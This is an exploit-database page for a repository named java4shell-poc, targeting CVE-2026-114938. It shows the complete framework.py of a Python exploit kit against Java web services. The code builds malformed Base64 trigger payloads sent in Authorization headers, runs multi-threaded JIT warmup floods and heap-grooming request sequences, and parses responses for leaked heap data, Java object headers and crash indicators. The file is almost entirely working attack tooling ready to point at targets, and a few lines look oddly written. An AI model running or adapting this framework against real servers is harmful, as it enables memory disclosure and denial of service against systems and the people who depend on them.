Exploit databaseDownload repository ZIP
GH-0d4f9b516ef973b83b6882db1c307dc6
ikow/java4shell-poc
Sources for CVE-2026-114938
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files7
ikow/java4shell-pocRevision 310f62c7fa30
- ↑..Parent directory
- elasticsearch_exploit.py
- exploit_all.py
- framework.py
- jenkins_exploit.py
- keycloak_exploit.py
- run.sh
- springboot_exploit.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/downstream/framework.py
Python · 15,516 bytes"""
Java4Shell Exploit Framework — CVE-2026-114938
Shared infrastructure for target-specific exploit chains.
Provides: concurrent HTTP, JIT warmup, heap grooming primitives,
response analysis, and JavaBleed extraction.
"""
import concurrent.futures
import hashlib
import io
import json
import os
import re
import socket
import struct
import sys
import threading
import time
import urllib.error
import urllib.request
from dataclasses import dataclass, field
from typing import Optional
@dataclass
class TargetConfig:
name: str
base_url: str
auth_endpoint: str
warmup_endpoint: str
warmup_method: str = "GET"
warmup_body: Optional[str] = None
warmup_content_type: Optional[str] = None
creds_b64: str = ""
pre_auth: bool = True
@dataclass
class GroomRequest:
"""A single request in a grooming sequence."""
method: str = "GET"
path: str = "/"
headers: dict = field(default_factory=dict)
body: Optional[bytes] = None
delay_ms: float = 0
@dataclass
class ExploitResult:
target: str
phase: str
success: bool
detail: str
data: dict = field(default_factory=dict)
# ── Payloads ──
TRIGGER_JDK21 = "A" * 64 + "=" # 65 bytes, triggers on JDK 21+
TRIGGER_JDK17 = "A" * 128 + "=" # 129 bytes, triggers on JDK 17
OVERFLOW_SIZE = 62 # bytes past the internal decode buffer
# ── HTTP Layer ──
class HTTPSession:
"""Persistent HTTP connection pool for a single target."""
def __init__(self, base_url: str, timeout: float = 10.0):
self.base_url = base_url.rstrip("/")
self.timeout = timeout
self._lock = threading.Lock()
self.request_count = 0
self.error_count = 0
def request(self, path: str, method: str = "GET",
headers: Optional[dict] = None, body: Optional[bytes] = None,
timeout: Optional[float] = None) -> tuple:
"""Returns (status_code, resp_headers, resp_body) or (error_str, None, None)."""
url = self.base_url + path
hdrs = dict(headers) if headers else {}
tout = timeout or self.timeout
try:
if body and isinstance(body, str):
body = body.encode()
req = urllib.request.Request(url, data=body, headers=hdrs, method=method)
with urllib.request.urlopen(req, timeout=tout) as resp:
with self._lock:
self.request_count += 1
return resp.status, dict(resp.headers), resp.read()
except urllib.error.HTTPError as e:
with self._lock:
self.request_count += 1
return e.code, dict(e.headers), e.read()
except urllib.error.URLError as e:
with self._lock:
self.error_count += 1
return str(e.reason), None, None
except Exception as e:
with self._lock:
self.error_count += 1
return str(e), None, None
def auth_request(self, path: str, creds_b64: str, **kwargs) -> tuple:
"""Send a request with Basic Auth."""
headers = kwargs.pop("headers", {})
headers["Authorization"] = f"Basic {creds_b64}"
return self.request(path, headers=headers, **kwargs)
# ── Response Analysis ──
class ResponseAnalyzer:
"""Deep inspection of HTTP responses for corruption indicators."""
# Overflow pattern bytes from AVX-512 VBMI decode
OVERFLOW_SIGNATURE = bytes([0x9a, 0x69, 0xa6])
@staticmethod
def analyze(status: int, headers: dict, body: bytes) -> dict:
"""Analyze a response for signs of heap corruption / data leakage."""
result = {
"status": status,
"body_len": len(body) if body else 0,
"corruption_indicators": [],
"leaked_data": [],
"severity": "none",
}
if not body:
if isinstance(status, str):
result["corruption_indicators"].append("connection_error")
result["severity"] = "crash"
return result
# 1. Non-ASCII bytes in a text response (heap data leaked into response)
if headers and "json" in headers.get("Content-Type", "").lower():
non_ascii = sum(1 for b in body if b > 127 or (b < 32 and b not in (10, 13, 9)))
if non_ascii > 5:
result["corruption_indicators"].append(f"non_ascii_in_json:{non_ascii}")
result["severity"] = "javableed"
# 2. Overflow signature pattern in response body
sig = ResponseAnalyzer.OVERFLOW_SIGNATURE
if sig in body:
offset = body.index(sig)
result["corruption_indicators"].append(f"overflow_pattern_at:{offset}")
result["severity"] = "javableed"
# 3. Java class names / heap pointers leaked
heap_markers = [
b"java.lang.", b"java.util.", b"java.io.", b"org.apache.",
b"io.netty.", b"sun.misc.", b"jdk.internal.",
b"\x00\x00\x00\x00", # null pointer pattern
]
for marker in heap_markers:
if marker in body:
idx = body.index(marker)
context = body[max(0, idx - 8):idx + len(marker) + 32]
result["leaked_data"].append({
"marker": marker.decode(errors="replace"),
"offset": idx,
"context_hex": context.hex(),
})
if result["severity"] == "none":
result["severity"] = "partial_leak"
# 4. Server error (500) with internal exception traces
if status == 500:
result["corruption_indicators"].append("server_error_500")
error_classes = [
b"OutOfMemoryError", b"SIGSEGV", b"NullPointerException",
b"ArrayIndexOutOfBoundsException", b"SegmentFault",
b"InternalError", b"BufferOverflowException",
]
for cls in error_classes:
if cls in body:
result["corruption_indicators"].append(f"exception:{cls.decode()}")
result["severity"] = "crash"
# 5. Connection reset / refused (JVM crash)
if isinstance(status, str):
if "reset" in status.lower() or "refused" in status.lower():
result["corruption_indicators"].append("connection_reset")
result["severity"] = "crash"
elif "timeout" in status.lower():
result["corruption_indicators"].append("timeout")
result["severity"] = "possible_crash"
# 6. Response body significantly different size from normal
# (caller should compare against baseline)
# 7. Entropy analysis — heap data has higher entropy than JSON
if body and len(body) > 50:
entropy = ResponseAnalyzer._byte_entropy(body)
if entropy > 6.5: # random heap data ~7.5, structured JSON ~4-5
result["corruption_indicators"].append(f"high_entropy:{entropy:.2f}")
return result
@staticmethod
def _byte_entropy(data: bytes) -> float:
"""Shannon entropy of byte distribution."""
if not data:
return 0.0
counts = [0] * 256
for b in data:
counts[b] += 1
length = len(data)
entropy = 0.0
for c in counts:
if c > 0:
p = c / length
entropy -= p * (p and __import__("math").log2(p))
return entropy
@staticmethod
def extract_leaked_strings(body: bytes, min_len: int = 4) -> list:
"""Extract printable ASCII strings from binary response data."""
strings = []
current = bytearray()
for b in body:
if 0x20 <= b < 0x7F:
current.append(b)
else:
if len(current) >= min_len:
strings.append(current.decode())
current = bytearray()
if len(current) >= min_len:
strings.append(current.decode())
return strings
@staticmethod
def find_heap_objects(body: bytes) -> list:
"""Look for Java heap object headers in response data."""
objects = []
# Compressed Oops: mark word (8 bytes) + klass pointer (4 bytes) + length (4 bytes)
# Mark word typically starts with 0x01 (unlocked) or has specific bit patterns
for i in range(len(body) - 16):
# Check for array header pattern: mark word ending in 0x01, followed by klass
if body[i + 7] == 0x00 and body[i + 6] == 0x00 and (body[i] & 0x03) == 0x01:
length = struct.unpack_from("<I", body, i + 12)[0]
if 0 < length < 100000:
objects.append({
"offset": i,
"mark_word": body[i:i + 8].hex(),
"klass": body[i + 8:i + 12].hex(),
"array_length": length,
})
return objects
# ── JIT Warmup ──
def warm_jit(session: HTTPSession, config: TargetConfig,
count: int = 5000, threads: int = 4,
progress_fn=None) -> tuple:
"""
Multi-threaded JIT warmup. Returns (success_count, error_count).
Sends `count` valid auth requests to compile the C2 AVX-512 intrinsic.
"""
success = threading.atomic = 0
errors = 0
counter = [0, 0] # [success, error]
lock = threading.Lock()
def warmup_worker(start, end):
for i in range(start, end):
headers = {"Authorization": f"Basic {config.creds_b64}"}
if config.warmup_content_type:
headers["Content-Type"] = config.warmup_content_type
body = config.warmup_body.encode() if config.warmup_body else None
status, _, _ = session.request(
config.warmup_endpoint,
method=config.warmup_method,
headers=headers,
body=body,
timeout=5,
)
with lock:
if isinstance(status, int) and status < 500:
counter[0] += 1
else:
counter[1] += 1
total = counter[0] + counter[1]
if progress_fn and total % 1000 == 0:
progress_fn(total, count, counter[0], counter[1])
chunk = count // threads
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as pool:
futures = []
for t in range(threads):
start = t * chunk
end = start + chunk if t < threads - 1 else count
futures.append(pool.submit(warmup_worker, start, end))
concurrent.futures.wait(futures)
return counter[0], counter[1]
# ── Heap Grooming ──
def groom_heap(session: HTTPSession, requests: list,
rounds: int = 1) -> list:
"""
Send a sequence of grooming requests to shape the target's heap.
Returns list of (status, headers, body) for each request.
"""
results = []
for _ in range(rounds):
for greq in requests:
if greq.delay_ms > 0:
time.sleep(greq.delay_ms / 1000.0)
status, hdrs, body = session.request(
greq.path,
method=greq.method,
headers=greq.headers,
body=greq.body,
)
results.append((status, hdrs, body))
return results
# ── Trigger ──
def send_trigger(session: HTTPSession, endpoint: str,
payload: str = None, count: int = 10,
analyzer: ResponseAnalyzer = None,
delay_ms: float = 0) -> list:
"""
Send malformed Base64 payloads and analyze responses.
Returns list of ExploitResult.
"""
if payload is None:
payload = TRIGGER_JDK21
if analyzer is None:
analyzer = ResponseAnalyzer()
results = []
for i in range(count):
if delay_ms > 0:
time.sleep(delay_ms / 1000.0)
headers = {"Authorization": f"Basic {payload}"}
status, resp_headers, body = session.request(
endpoint, headers=headers, timeout=15,
)
analysis = analyzer.analyze(
status, resp_headers or {}, body or b"",
)
result = ExploitResult(
target="",
phase="trigger",
success=analysis["severity"] != "none",
detail=f"attempt={i+1} status={status} severity={analysis['severity']}",
data=analysis,
)
results.append(result)
return results
# ── Reporting ──
def print_phase(phase: str, msg: str, indent: int = 0):
prefix = " " * indent
print(f"{prefix}[{phase}] {msg}")
def print_banner(text: str, width: int = 60):
print(f"\n{'=' * width}")
print(f" {text}")
print(f"{'=' * width}\n")
def print_result_table(results: list):
print(f"\n{'─' * 70}")
print(f" {'Target':<20} {'Phase':<12} {'Result':<10} {'Detail'}")
print(f"{'─' * 70}")
for r in results:
status = "SUCCESS" if r.success else "FIRED" if r.phase == "trigger" else "FAIL"
print(f" {r.target:<20} {r.phase:<12} {status:<10} {r.detail[:40]}")
print(f"{'─' * 70}")
# ── Version Probing ──
def probe_target(session: HTTPSession, config: TargetConfig) -> dict:
"""Probe a target for version info and feature detection."""
info = {"reachable": False, "java_version": None, "server": None, "headers": {}}
status, headers, body = session.request(config.auth_endpoint, timeout=5)
if isinstance(status, int):
info["reachable"] = True
if headers:
info["server"] = headers.get("Server", "")
info["headers"] = {
k: v for k, v in headers.items()
if any(h in k.lower() for h in ["server", "powered", "version", "x-"])
}
if body:
body_str = body.decode(errors="replace") if isinstance(body, bytes) else body
for marker in ["OpenJDK", "Temurin", "21.0", "17.0", "java", "JVM"]:
if marker.lower() in body_str.lower():
idx = body_str.lower().index(marker.lower())
info["java_version"] = body_str[max(0, idx - 5):idx + 40].strip()
break
return info
# ── Baseline Collection ──
def collect_baseline(session: HTTPSession, config: TargetConfig,
count: int = 5) -> dict:
"""Collect baseline response characteristics for comparison."""
sizes = []
statuses = []
hashes = []
for _ in range(count):
# Normal auth request
status, _, body = session.auth_request(
config.auth_endpoint, config.creds_b64,
)
statuses.append(status)
if body:
sizes.append(len(body))
hashes.append(hashlib.md5(body).hexdigest())
# Invalid auth request (normal invalid, not trigger)
status2, _, body2 = session.request(
config.auth_endpoint,
headers={"Authorization": "Basic " + "dGVzdDp0ZXN0"}, # test:test
)
statuses.append(status2)
return {
"valid_status": statuses[0] if statuses else None,
"invalid_status": statuses[1] if len(statuses) > 1 else None,
"avg_body_size": sum(sizes) / len(sizes) if sizes else 0,
"body_hash_stable": len(set(hashes)) <= 2,
}